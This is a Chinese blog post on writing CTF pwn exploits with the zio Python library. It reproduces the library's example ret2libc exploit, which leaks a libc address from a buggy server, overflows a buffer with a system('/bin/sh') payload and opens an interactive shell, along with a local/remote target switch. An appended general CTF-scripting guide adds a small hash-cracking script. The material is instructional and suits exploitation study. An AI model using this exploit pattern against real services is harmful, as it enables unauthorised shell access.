CTF中的EXP编写技巧 zio库的使用

本文介绍如何使用zio库进行PWN攻击,包括本地和远程目标的连接方式,利用ROP技术构造payload,以及如何与获得的shell进行交互等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

zio库没有提供文档

这个是官方给出的一个例子程序

 1 from zio import *
 2 io = zio('./buggy-server')
 3 # io = zio((pwn.server, 1337))
 4 
 5 for i in xrange(1337):
 6     io.writeline('add ' + str(i))
 7     io.read_until('>>')
 8 
 9 io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
10 io.read_until('A' * 49)
11 libc_base = l32(io.read(4)) - 0x1a9960
12 libc_system = libc_base + 0x3ea70
13 libc_binsh = libc_base + 0x15fcbf
14 payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
15 io.write('info ' + payload + "\nshow\nexit\n")
16 io.read_until(">>")
17 # We've got a shell;-)
18 io.interact()

可以做本地和远程的切换

 1 from zio import *
 2 
 3 if you_are_debugging_local_server_binary:
 4     io = zio('./buggy-server')            # used for local pwning development
 5 elif you_are_pwning_remote_server:
 6     io = zio(('1.2.3.4', 1337))           # used to exploit remote service
 7 
 8 io.write(your_awesome_ropchain_or_shellcode)
 9 # hey, we got an interactive shell!
10 io.interact()

总结一下

zio (('127.0.0.1',3389), timeout = 9999)

连接到ip的端口

zio('./pwn1') 加载本地文件

 

writeline('abc') 发送字符串

write(‘abc') 发送字符串

 

read_until('hello') 直到收到字符串

read(4) 接收

l32()   4byte

l64()   8byte

interact()与shell交互

转载于:https://www.cnblogs.com/Ox9A82/p/5475815.html

CTF(Capture The Flag)竞赛中,编写脚本是一个非常重要的技能。脚本可以帮助选手自动化解决一些重复性高、复杂度低的任务,从而提高解题效率。以下是一些编写CTF脚本的基本步骤和技巧: ### 1. 选择合适的编程语言 常用的编程语言有Python、Perl、Bash等。Python因其简洁易用和强大的支持,常被CTF选手使用。 ### 2. 分析问题 在编写脚本之前,首先要分析题目,理解题目的要求和给出的信息。确定需要解决的问题类型,如密码破解、数据解析、网络请求等。 ### 3. 编写脚本 根据分析结果,编写相应的脚本。以下是一些常见的脚本编写步骤: #### a. 处理输入输出 读取题目给出的输入数据,处理后输出结果。 ```python import sys def main(): input_data = sys.stdin.read() # 处理输入数据 result = process(input_data) print(result) def process(data): # 数据处理逻辑 return "Processed data" if __name__ == "__main__": main() ``` #### b. 网络请求 使用`requests`进行HTTP请求,或使用`socket`进行低级别的网络通信。 ```python import requests def fetch_url(url): response = requests.get(url) return response.text if __name__ == "__main__": url = "http://example.com" content = fetch_url(url) print(content) ``` #### c. 密码破解 使用`hashlib`进行哈希计算,或使用`itertools`生成可能的密码组合。 ```python import hashlib def crack_hash(hash_value, algorithm): with open("wordlist.txt", "r") as file: for line in file: password = line.strip() hashed = hashlib.new(algorithm, password.encode()).hexdigest() if hashed == hash_value: return password return None if __name__ == "__main__": hash_value = "5d41402abc4b2a76b9719d911017c592" algorithm = "md5" password = crack_hash(hash_value, algorithm) print(f"Password: {password}") ``` ### 4. 测试和调试 在本地环境中测试脚本,确保其按预期工作。使用调试工具和日志输出帮助定位和解决问题。 ### 5. 优化 根据需要优化脚本,提高其效率和可读性。 ### 6. 文档和注释 编写清晰的文档和注释,方便自己和他人理解和使用脚本。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值